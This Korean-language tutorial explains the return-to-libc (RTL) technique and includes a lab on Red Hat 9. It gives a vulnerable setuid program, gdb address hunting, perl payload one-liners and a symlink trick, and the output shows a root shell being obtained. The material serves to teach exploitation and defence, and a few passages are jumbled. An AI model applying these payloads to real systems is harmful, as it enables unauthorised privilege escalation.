All about RTL ( Return To Library ) By Wr4ith
[ 목차 ] 1. 개요 2. 등장배경 3. 실습
1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc 라고하는공유라이브러리 내의함수주소를오버라이팅하는것이다. libc 영역은메인프로그램이내부에서 사용하는라이브러리함수와관련된파일이다. 예를들어 printf() 함수를사용했다면실제해당함수를가지고있는 /lib/libc.so.6 파일이 libc 영역에적재된다. 따라서메인프로그램에서 printf() 함수하나만사용하고있더라도실제로는 libc.so.6 파일이통째로메모리에적재되어해당파일내의다른함수를사용할수있게된다. 이런방식을사용하는이유는여러프로그램이동시에공유라이브러리영역을활용하여디스크공간, 메모리사용량을절약할수있기때문이다. 대부분의 RTL 공격에서는 root 권한의쉘을획득하기위해 system(), execl() 등의함수를이용한다. libc.so.6 파일내에포함된함수목록을알고싶다면다음과같은명령어를사용하면된다. [root@localhost root]# nm /lib/libc.so.6 grep printf 000e9210 t argp_fmtstream_printf 00052040 W asprintf 00052040 T asprintf 0004c820 t GI printf_fp 0006a2d0 t _IO_obstack_printf 0006a1c0 t _IO_obstack_vprintf 00051f80 T _IO_printf 00052000 T _IO_sprintf * nm 명령어는 elf 파일의심볼테이블을볼때사용함 * 심볼테이블은컴퓨터의구조상 0,1만기억하기때문에문자변수와매칭시키기위해사용하는수단임위명령어결과에서는수많은함수중에 printf() 관련함수의목록만본것인데도그숫자가엄청나다. 전체함수를보고싶다면 nm /lib/libc.so.6 more 명령어를이용하면된다.
libc 영역의범위가궁금하다면다음과같은명령어를사용하면된다. [root@localhost root]# cat /proc/self/maps grep libc 42000000-4212e000 r-xp 00000000 08:02 2170577 /lib/tls/libc-2.3.2.so 4212e000-42131000 rw-p 0012e000 08:02 2170577 /lib/tls/libc-2.3.2.so 결국 42000000 ~ 42131000 사이가현재시스템 (Redhat_9) 에서의 libc 영역임을알수있다. 2. 등장배경 일단실습에앞서 RTL의등장배경에대해알아볼것인데, 1997 년 Solar Desginer 가스택에서어떤코드도실행되지못하도록하는기능을가진 Non-executable Stack 을리눅스커널패치의형태로개발하여배포하게되는데, 이때문에기존의공격방식인스택에쉘코드를적재하는형식은전부불가능하게되었다. * 참고로윈도우에서는비슷한기능으로 DEP 가있음이런방식을일명 Nx bit 라고도한다. 새로운방어기법이등장하였기에공격자역시새로운공격기법을찾게되었고, 이때나온기법이바로 RTL 기법이다. RTL 기법은말그대로 libc ( 공유라이브러리 ) 영역으로리턴하라는뜻인데, 기본적인개념은기존의 BoF와매우유사하다. * 버퍼를꽉채우고, ret 영역에 libc 주소 ( 좀더정확히말하면 libc 내에서공격자가사용할함수의주소 ) 를넣어주는것 결국공격대상프로그램이어떤함수를사용하더라도함수를해당함수를가지고 있는 libc.so.6 파일이통째로메모리에적재되기때문에공격자는해당파일에서 실행하고자하는함수의주소를알아내서 ret 영역에오버라이팅만하면된다. 물론뒤에실습부분에서보겠지만단순히함수주소만있다고실행되는것이아니라 함수에서요구하는파라미터까지넣어주어야한다.
3. 실습 본문서내용을기반으로공부를하려면최대한실습환경이유사한것이좋다. 본문서는다음과같은실습환경에기반하고있다. [root@localhost root]# uname -a Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux [root@localhost root]# [root@localhost root]# gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2.2/specs Configured with:../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable- cxa_atexit --host=i386-redhat-linux Thread model: posix gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5) 뭔지잘모르겠다면그냥인터넷에서 redhat9 iso를받아서그냥기본환경으로설치하면된다. * gcc는기본패키지가아니기추가패키지설치과정에서설치하거나, 직접 rpm 파일을받아서설치해야함 [root@localhost rtl]# cat vuln.c #include <stdio.h> int main(int argc, char *argv[]) { char buf[32]; if (argc < 2) { printf("usage : %s <arg>\n", argv[0]); exit(-1); } strcpy(buf, argv[1]); printf("buf : %s\n", buf); } return 0;
전형적인 BoF 취약점이존재하는프로그램이다. 소스에서는버퍼의크기를 32 로 선언했지만 gcc 2.96 이상부터는더미가포함되기때문에 gdb 에서는조금더큰 사이즈로잡혀있을것이다. 페이로드구조를먼저보면 rtl 기법은 ret 값에공격자가원하는함수주소를넣고함수의인자를줘야하기때문에페이로드는다음과같이구성된다. buf[32] + gcc_dummy[?] SFP[4] ret= 함수주소 [4] 함수인자 위페이로드는이론상으로완벽한데실제사용하기엔약간문제가있다. 일반적으로 rtl을이용하는것은 root 권한의쉘을따기때문에 system(),execl() 함수를실행하고 /bin/sh 등을인자로주는것이일반적이다. 문제는페이로드에서사용하고자하는 system(), execl() 함수등이 ebp+8 바이트위치의인자를참고한다. 즉, 페이로드가다음과같이변경된다. buf[32] + gcc_dummy[?] SFP[4] ret= 함수주소 [4] dummy[4] 함수인자 즉, dummy 부분이 ebp+4 위치고, 함수인자부분이 ebp+8 위치다. [root@localhost rtl]# gcc -o vuln vuln.c [root@localhost rtl]# chmod 4755 vuln [root@localhost rtl]# ls -l total 16 -rwsr-xr-x 1 root root 11799 Jan 28 18:41 vuln -rw-r--r-- 1 root root 210 Jan 28 18:24 vuln.c 소스를컴파일하고 root 권한의 SetUID 비트까지주면실습준비가완료된다. [wraith@localhost rtl]$ cp vuln euln [wraith@localhost rtl]$ gdb -q euln (gdb) set dis intel (gdb) disas main Dump of assembler code for function main: 0x08048390 <main+0>: push ebp 0x08048391 <main+1>: mov ebp,esp 0x08048393 <main+3>: sub esp,0x28 0x08048396 <main+6>: and esp,0xfffffff0 0x08048399 <main+9>: mov eax,0x0 0x080483d0 <main+64>: lea eax,[ebp-40] 0x080483d3 <main+67>: push eax 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add esp,0x10
참고로 RTL 기법으로 LPE ( 로컬권한상승 ) 을하기위해서는다음과같은정보가필요하다. 1. 버퍼부터 SFP, RET 까지의거리 2. RET를오버라이팅할함수의주소 3. 함수의인자및전달방식위에서보여지는명령어결과에서버퍼사이즈를알수있다. 함수프롤로그시에할당하는명령어를통해알수도있고, strcpy 의인자준비과정에서도알수있다. 버퍼의크기는 0x28 == 40 바이트이다. 따라서페이로드는다음과같은구조를가지게된다. buf[32] + gcc_dummy[8] SFP[4] ret= 함수주소 [4] dummy[4] 함수인자 참고로 at&t 문법에서는디스어셈블결과가다음과같이달라진다. 0x08048393 <main+3>: sub $0x28,%esp 0x080483d0 <main+64>: lea 0xffffffd8(%ebp),%eax 0x080483d3 <main+67>: push %eax 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 이문서에서어셈블리명령어형식까지다를수없기때문에이는알아서공부하길 바란다. 아무튼 at&t 형식에서도함수프롤로그명령은거의다른게없는데 strcpy 인자준비과정이약간다르다. main+64 명령어로버퍼사이즈를알아내는방법과 우측의 16진수숫자에 1을한다음스택의끝주소인 0xffffffff 에서빼면된다. (gdb) p /x 0xffffffff - 0xffffffd7 $1 = 0x28 (gdb) p /d 0xffffffff - 0xffffffd7 $2 = 40 어쨌든버퍼의사이를확인했으니이제 ret 를오버라이팅할함수의주소를알아내야 한다. 본문서에서는 system() 함수를이용할것이다. 시스템함수주소를알아내는 방식은 gdb 를이용하는것과 ldd 를이용하는방법이있다. (gdb) b *main Breakpoint 1 at 0x8048390 (gdb) r Starting program: /home/wraith/rtl/euln /bin/bash: /root/.bashrc: Permission denied Breakpoint 1, 0x08048390 in main () (gdb) p system $3 = {<text variable, no debug info>} 0x4203f2c0 <system>
gdb를이용하는방법은 libc.so.6 파일이지금우리가분석하고있는소스에서 printf 함수를사용하기때문에메모리에올라가있다는것을기반으로하여, main에 bp를설치하여 main 직전까지실행한뒤 p(rint) system 명령어를통해알아낼수있다. [wraith@localhost rtl]$ ldd vuln libc.so.6 => /lib/tls/libc.so.6 (0x42000000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [wraith@localhost rtl]$ objdump -d /lib/tls/libc.so.6 grep system\>: 4203f2c0 < libc_system>: 4203f340 <do_system>: ldd를이용하는방법은우선대상파일에서요구하는공유라이브러리목록을출력한다음에 objdump를통해해당파일에서시스템함수주소를찾는것이다. 따라서페이로드는다음과같은구조를가지게된다. buf[32] + gcc_dummy[8] SFP[4] 0x4203f2c0 dummy[4] 함수인자 [wraith@localhost rtl]$ export SH="/bin/sh" 그럼이제함수의인자로사용할 /bin/sh 의주소를알아내야한다. [wraith@localhost rtl]$ cat getaddr.c void main() { printf("/bin/sh addr : %p\n", getenv("sh")); } [wraith@localhost rtl]$./getaddr /bin/sh addr : 0xbffffec4 가장쉬운방법은환경변수에 /bin/sh 를등록하여그주소를가져오는방법이다. 또다른방법은이전에알아낸 system 함수를이용하여, system() 함수메모리내의 /bin/sh 메모리를검색하는방법이다. [wraith@localhost rtl]$ cat sh2.c void main() { long sh; sh = 0x4203f2c0; while (memcmp((void *)sh, "/bin/sh", 8)) { sh++; } printf("/bin/sh addr : %p\n", sh); } [wraith@localhost rtl]$./sh2 /bin/sh addr : 0x42127ea4
최종적으로사용되는페이로드는다음과같다. buf[32] + gcc_dummy[8] SFP[4] 0x4203f2c0 dummy[4] 0x42127ea4 buf[32] + gcc_dummy[8] SFP[4] 0x4203f2c0 dummy[4] 0xbffffec4 * system() 함수주소는동일하게나오니상관없는데개인적으로 /bin/sh 의주소는환경 변수보다는 sysetm() 함수메모리내에서찾아진주소를사용하는걸권장함 * 이유는가끔가다환경변수주소가일치하지않아서공격이안될때가있음 [wraith@localhost rtl]$./vuln `perl -e 'print "\x90"x44, "\xc0\xf2\x03\x42", "BBBB", "\xa4\x7e\x12\x42"'` Buf : rbbbbb ~B sh-2.05b$ id uid=500(wraith) gid=500(wraith) groups=500(wraith) sh-2.05b$ exit Segmentation fault [wraith@localhost rtl]$ 쉘은획득했으나 2가지문제가발생하였다. 1. root 권한의 suid가걸린바이너리지만쉘은일반유저권한임 2. /bin/sh 종료시세그폴트오류가남 우선 2번부터해결해야하는데사실이건스택구조만생각하면금방해결된다. 페이로드구성때문에메인함수의리턴주소는 system() 함수가된다. 호출되는 system() 역시함수이기때문에스택프레임이생성된다. 따라서페이로드의더미값이 system 함수스택프레임의리턴주소가되고, 쉘이따진후종료하기위해 BBBB = \x42\x42\x42\x42 주소로리턴하기때문에오류가나는것이다. 따라서이를해결하기위해서는 exit() 함수주소를더미값에넣으면된다. [wraith@localhost rtl]$ objdump -d /lib/tls/libc.so.6 grep exit\>: 42029bb0 <exit>: 42100c60 <svc_exit>: [wraith@localhost rtl]$ gdb -q euln (gdb) b *main Breakpoint 1 at 0x8048390 (gdb) r Starting program: /home/wraith/rtl/euln /bin/bash: /root/.bashrc: Permission denied Breakpoint 1, 0x08048390 in main () (gdb) p exit $1 = {<text variable, no debug info>} 0x42029bb0 <exit>
[wraith@localhost rtl]$./vuln `perl -e 'print "\x90"x44, "\xc0\xf2\x03\x42", system() 함수주소를알아내는방법을이용하여 exit 함수주소를알아내면된다. "\xb0\x9b\x02\x42", "\xa4\x7e\x12\x42"'` Buf : rb B ~B sh-2.05b$ id uid=500(wraith) gid=500(wraith) groups=500(wraith) sh-2.05b$ exit [wraith@localhost rtl]$ 자이제세그폴트는해결했으니쉘의권한문제를해결해야한다. 일단원인부터파악하면, 커널 2.4.x 이상버전에서는 setuid 권한이있는프로그램에대한보호대책으로 getuid 라는개념이추가되었기때문이다. 즉, 위와같은방법으로쉘을획득하려하면대상바이너리를실행시키는유저의 id를가져와 (getuid) 해당권한으로쉘을실행시키기때문에 root 획득이불가능하다. 따라서다른방법을이용해야한다. 이러환경에서 root 쉘을획득하려면 euid() 가유지되는상태에서바로쉘을띄우는것이아니라다른프로그램을한번실행하고, 그프로그램을통해 edui() 가유지되는상태에서 ruid() 를 root로변경하고쉘을실행해야한다. 이걸만족하는함수가 execl() 함수이다. * system() 함수를사용하지못하는이유는다음과같다. system() 함수는자체적으로 /bin/sh c argv 형식으로실행하게된다. 따라서위에서작성한페이로드는결국 /bin/sh c /bin/sh 형태로처리된다. 즉, 인자에상관없이이미자체적으로 /bin/sh 를사용하기때문에 root 권한을획득하는것은불가능하다. 다시본론으로돌아와, excel() 함수의프로토타입을살펴보면다음과같다. int execl (const char *path, const char *arg,... ); const char *path : 실행할파일의전체디렉토리경로 const char *arg : 새로생성시킬프로세스에서사용하는인자등록하고자하는인자가모두끝나면마지막에 NULL을넣어줘야하고, 인자를해당폴더 ( 동일경로 ) 에서실행할경우두번째인자를 NULL로줘도되지만, 파일명을전체디렉토리경로 ( 절대경로 ) 로표현할경우에러가발생한다. 이경우에는파일의경로와새로생성시킬프로세스의인자사이에임의값을하나넣어줘야한다. 이게뭔소리냐면 excel() 함수는인자를현재폴더에서실행시킬경우 execl( vuln, NULL) 과같이두번째부분을 NULL로줘도된다. 그러나, execl( /bin/sh, NULL) 과같이절대경로를주면세그먼트에러가발생한다. 따라서 execl( /bin/sh, argv1, NULL) 과같은형태를이용해야한다.
[wraith@localhost rtl]$ gdb -q euln 참고로 (gdb) set execl dis 함수 intel역시 system 함수와마찬가지로 duummy [4 byte] 를추가해야한다. (gdb) disas main execl() Dump of 함수 assembler 인자구성을 code 어떻게 for function 할건지 main: 알아보기위해 gdb를이용할것이다. 0x08048390 <main+0>: push ebp 0x08048391 <main+1>: mov ebp,esp 0x08048393 <main+3>: sub esp,0x28 0x080483d0 <main+64>: lea eax,[ebp-40] 0x080483d3 <main+67>: push eax 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add esp,0x10 End of assembler dump. (gdb) b *main+73 Breakpoint 1 at 0x80483d9 왜하필 strcpy 함수가끝난직후에 bp를설치했을까 라는의문을가질수도있을텐데, 우선기존페이로드의구조를다시한번보면다음과같다. buf[32] + gcc_dummy[8] SFP[4] 0x4203f2c0 dummy[4] 0x42127ea4 이래나저래나위의페이로드는전부 strcpy 함수의영향을준다. 문제는 execl() 함수특성상널문자를요구하는데, strcpy 함수는널문자를만나면문자열의끝이라해석되어복사를중단한다. 따라서 strcpy 함수에게영향을주지않는주소에이미적재되어있는 0x00000000 를사용해야하기때문에 strcpy 실행이후에 bp를설치한것이다. (gdb) r `perl -e 'print "A"x40, "BBBB", "CCCC"'` Starting program: /home/wraith/rtl/euln `perl -e 'print "A"x40, "BBBB", "CCCC"'` Breakpoint 1, 0x080483d9 in main () (gdb) x/20 $ebp 0xbfffef58: 0x42424242 0x43434343 0x00000000 0xbfffefa4 0xbfffef68: 0xbfffefb0 0x4001582c 0x00000002 0x080482e0 0xbfffef78: 0x00000000 0x08048301 0x08048390 0x00000002 0xbfffef88: 0xbfffefa4 0x080483f8 0x08048428 0x4000c660 0xbfffef98: 0xbfffef9c 0x00000000 0x00000002 0xbffffba7 0xbfffef78 / 0xbfffef9c 주소에위치하는 0x00000000 은그냥써도되는데, 만약 0xbffffef70 주소의 0x00000002 를쓰려면입력값에충분한문자열을주어끝 부분에자동으로 0x00 을들어가게만들어최종적으로 0x00000000 로만든 다음사용하면된다.
널바이트인부분을사용하는것은일단아까 execl() 함수의프로토타입에서본것처럼함수끝부분에널문자가필요하고, 널문자를이용하는것이인자가깔끔하게들어가기때문이다. 그럼이제 excel() 함수의첫번째인자인 실행하고자하는파일경로 / 이름 이다. 여기서약간의꼼수 (?) 를이용할건데, data 세그먼트영역의특정값을심볼릭링크를걸고, 그값을인자로넣은다음, 심볼링링크가실행되게할것이다. 쉽게말하면쉘을띄우는소스를코딩하고컴파일한다음심볼링링크를걸어주면, data 세그먼트의특정한값이실행되면심볼링링크를이용하여컴파일된파일이실행되면서 shell이띄어지게된다. * data 세그먼트를이용하는것은프로그램을실행할때마다값이고정적이기때문 (gdb) x/32wx 0x08049000 0x8049000: 0x464c457f 0x00010101 0x00000000 0x00000000 0x8049010: 0x00030002 0x00000001 0x080482e0 0x00000034 0x8049020: 0x00001dd4 0x00000000 0x00200034 0x00280006 0x8049030: 0x001f0022 0x00000006 0x00000034 0x08048034 0x8049040: 0x08048034 0x000000c0 0x000000c0 0x00000005 0x8049050: 0x00000004 0x00000003 0x000000f4 0x080480f4 0x8049060: 0x080480f4 0x00000013 0x00000013 0x00000004 0x8049070: 0x00000001 0x00000001 0x00000000 0x08048000 맘에드는걸고르면되는데, 나중에해당값을문자열로입력해야하기때문에 문자열의종료를의미하는널문자를포함하는간단한숫자를고르는게훨씬좋다. 따라서 0x00000001 의이름으로심볼릭링크를걸어야하기때문에인자로사용 해야할주소는 0x8049014 이된다. * execl() 함수의첫번째인자는파일명 [ 의주소임 ] (gdb) p execl $1 = {<text variable, no debug info>} 0x420acaa0 <execl> 사용하고자하는 execl 함수의주소는 0x420acaa0 이다. 이제 excel() 함수를 통해실행할심볼링링크대상파일을만들어야한다. [wraith@localhost rtl]$ cat sym_sh.c void main() { setuid(0); system("/bin/sh"); } [wraith@localhost rtl]$ ln -s sym_sh `perl -e 'print "\x01"'` [wraith@localhost rtl]$ ls -l lrwxrwxrwx 1 wraith wraith 6 Jan 28 21:08? -> sym_sh
이제 execl() 함수에서파일명이바이너리 0x01인파일을실행하면심볼릭링크를이용하여 shell을실행하는 sym_sh 바이너리가실행된다. [wraith@localhost rtl]$./vuln `perl -e 'print "A"x44, "\xa0\xca\x0a\x42", "ABCD", "\x14\x90\x04\x08"'` Buf : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault [wraith@localhost rtl]$./vuln "`perl -e 'print "A"x44, "\xa0\xca\x0a\x42", "ABCD", "\x14\x90\x04\x08"'`" Buf : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BABCD Segmentation fault [wraith@localhost rtl]$./vuln "`perl -e 'print "A"x44, "\xa0\xca\x0a\x42", "ABCD", "\x14\x90\x04\x08"x3'`" Buf : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BABCD sh-2.05b# id uid=0(root) gid=500(wraith) groups=500(wraith) sh-2.05b# 지금까지알아낸모든정보와트릭을합치면첫번째명령어와같은페이로드가완성된다. 그런데직접첫번째페이로드를입력하면페이로드중간에끊기는경우 [ 더미이전 ] 가발생한다. 그럴때는두번째페이로드처럼페이로드전체를 ( ) 로감싸면해결된다. 그런데아직도쉘이안떨어지고결국마지막페이로드를보면마지막에심볼링링크프로그램의주소를 3번넣어주니 root 권한의쉘이획득되었다. 각주소들의의미는다음과같다. 1 번째 0x08049014 execl() 함수의첫번째인자를실행할파일명의주소 2 번째 0x08049014 이전에말한것처럼 execl( /bin/sh, argv1, NULL) 함수를호출하면중간에 임의의인자를넣어줘야하는데, 어차피문자열이면되기때문에인자로넣음 3번째 0x08049014 execl() 함수의인자가종료되면끝에널이있어야한다. 따라서스택을살펴보면서 NULL이나올때가지추가로더미값을넣어야하기때문에넣음
아마도 1,2번째는어느정도이해하여도 3번째가뭔소리지모를수도있기때문에 gdb로해당주소를보면서관찰할것이다. [wraith@localhost rtl]$ gdb -q euln (gdb) set dis intel (gdb) disas main Dump of assembler code for function main: 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add esp,0x10 0x080483dc <main+76>: sub esp,0x8 (gdb) b *main+76 Breakpoint 1 at 0x80483dc (gdb) r AAAA Starting program: /home/wraith/rtl/euln AAAA Breakpoint 1, 0x080483dc in main () (gdb) x/8wx $ebp 0xbfffde78: 0xbfffde98 0x42015574 0x00000002 0xbfffdec4 0xbfffde88: 0xbfffded0 0x4001582c 0x00000002 0x080482e0 (gdb) (gdb) r "`perl -e 'print "A"x44, "\xa0\xca\x0a\x42", "ABCD", "\x14\x90\x04\x08"x3'`" The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/wraith/rtl/euln "`perl -e 'print "A"x44, "\xa0\xca\x0a\x42", "ABCD", "\x14\x90\x04\x08"x3'`" Breakpoint 1, 0x080483dc in main () (gdb) x/8wx $ebp 0xbffff748: 0x41414141 0x420acaa0 0x44434241 0x08049014 0xbffff758: 0x08049014 0x08049014 0x00000000 0x080482e0 만약더미값없이 0x08049014 를 1번만넣으면널문자가존재해야하는 0xbffff758 주소에 0xbfffded0 이있기때문에오류가난다. 따라서충분히많은더미값을주어 esp를뒤로밀면서 0xbffff758 까지입력하면최종적으로 0xbffff759 주소의바이트가 0x02 => 0x00 이되면서쉘이획득되어진다.